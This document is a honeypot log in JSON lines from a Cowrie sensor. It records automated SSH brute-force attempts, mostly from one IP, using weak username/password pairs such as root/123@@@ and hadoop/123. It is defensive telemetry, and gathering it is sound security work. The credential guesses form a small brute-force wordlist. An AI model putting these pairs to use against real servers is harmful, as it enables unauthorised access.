{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:78:8f:93:16:3c:9a:7f:5d:b3:36:c5:76:05:e6:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLP0WK3Yr/T0z0bq/oWTP6ks1c04+kMJJnnIeWUvZtSXIVMRFd2s/V8AfWJWvztPvUW/JKm6Q2zJlALxIKYTv06/qI9rS84pR9FixcA8Udp9X2dwo6UcMpGUNGuPip0ZRjb8RNDWRgen5qUGgYL4qF8Jmm8TjW440b4tWz1rcntvFgFLmHjA6woDprDTGoHoGqr76ZL2jkUqP0FB7GoydfI1opYwqaWJhS9CEx+oLJqtOgiZDxdbD7Ln07NS3q1b0/7uBzHnKlcikHVtN5hLSMQZpipVndsplqlAJIoQPWxPuJ8FZvHhEnKhieEDRTwJjLnBYFHYVILVRPceHVRI4H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.812349Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.939132Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:15.053836Z","src_ip":"193.151.144.93","session":"5bbcaf7f4ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43204,"dst_ip":"10.17.0.5","dst_port":22,"session":"efd494d37d37","protocol":"ssh","message":"New connection: 193.151.144.93:43204 (10.17.0.5:22) [session: efd494d37d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:18.628810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:18.673238Z","src_ip":"193.151.144.93","session":"efd494d37d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:18.807243Z","src_ip":"193.151.144.93","session":"efd494d37d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:20.204334Z","src_ip":"193.151.144.93","session":"efd494d37d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:21.858085Z","src_ip":"193.151.144.93","session":"efd494d37d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46362,"dst_ip":"10.17.0.5","dst_port":22,"session":"4167c121a9d9","protocol":"ssh","message":"New connection: 193.151.144.93:46362 (10.17.0.5:22) [session: 4167c121a9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:24.206727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:24.211272Z","src_ip":"193.151.144.93","session":"4167c121a9d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:24.379440Z","src_ip":"193.151.144.93","session":"4167c121a9d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"123456","message":"login attempt [esuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:24.872677Z","src_ip":"193.151.144.93","session":"4167c121a9d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:26.041353Z","src_ip":"193.151.144.93","session":"4167c121a9d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46378,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea53962f1b7f","protocol":"ssh","message":"New connection: 193.151.144.93:46378 (10.17.0.5:22) [session: ea53962f1b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:29.562762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:29.567735Z","src_ip":"193.151.144.93","session":"ea53962f1b7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:29.738251Z","src_ip":"193.151.144.93","session":"ea53962f1b7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gary","password":"gary","message":"login attempt [gary/gary] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:30.279082Z","src_ip":"193.151.144.93","session":"ea53962f1b7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:31.443785Z","src_ip":"193.151.144.93","session":"ea53962f1b7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":60828,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce720eecc7ee","protocol":"ssh","message":"New connection: 193.151.144.93:60828 (10.17.0.5:22) [session: ce720eecc7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:35.107303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:35.116431Z","src_ip":"193.151.144.93","session":"ce720eecc7ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:35.282167Z","src_ip":"193.151.144.93","session":"ce720eecc7ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123","message":"login attempt [hadoop/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:35.778683Z","src_ip":"193.151.144.93","session":"ce720eecc7ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.612141370773315,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:37.629324Z","src_ip":"69.4.83.194","session":"e0cc600fc23d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35428786277771,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:38.558059Z","src_ip":"69.4.83.194","session":"c3077e2bf1e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:38.620112Z","src_ip":"193.151.144.93","session":"ce720eecc7ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46086,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf8a41e68345","protocol":"ssh","message":"New connection: 193.151.144.93:46086 (10.17.0.5:22) [session: bf8a41e68345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:40.698396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:40.703837Z","src_ip":"193.151.144.93","session":"bf8a41e68345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:40.872709Z","src_ip":"193.151.144.93","session":"bf8a41e68345","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:41.374624Z","src_ip":"193.151.144.93","session":"bf8a41e68345","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:44.222159Z","src_ip":"193.151.144.93","session":"bf8a41e68345","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":46096,"dst_ip":"10.17.0.5","dst_port":22,"session":"9de17b4a3c67","protocol":"ssh","message":"New connection: 193.151.144.93:46096 (10.17.0.5:22) [session: 9de17b4a3c67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:46.409006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:46.412809Z","src_ip":"193.151.144.93","session":"9de17b4a3c67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:46.577504Z","src_ip":"193.151.144.93","session":"9de17b4a3c67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@@@","message":"login attempt [root/123@@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:47.075248Z","src_ip":"193.151.144.93","session":"9de17b4a3c67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:48.243832Z","src_ip":"193.151.144.93","session":"9de17b4a3c67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40438,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c61d6bbc3f1","protocol":"ssh","message":"New connection: 193.151.144.93:40438 (10.17.0.5:22) [session: 0c61d6bbc3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:52.220830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:52.225148Z","src_ip":"193.151.144.93","session":"0c61d6bbc3f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:52.394292Z","src_ip":"193.151.144.93","session":"0c61d6bbc3f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:53.077406Z","src_ip":"193.151.144.93","session":"0c61d6bbc3f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:54.249015Z","src_ip":"193.151.144.93","session":"0c61d6bbc3f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":40446,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1ecda57976c","protocol":"ssh","message":"New connection: 193.151.144.93:40446 (10.17.0.5:22) [session: d1ecda57976c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:57.881264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:57.951010Z","src_ip":"193.151.144.93","session":"d1ecda57976c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:58.049615Z","src_ip":"193.151.144.93","session":"d1ecda57976c","protocol":"ssh"}
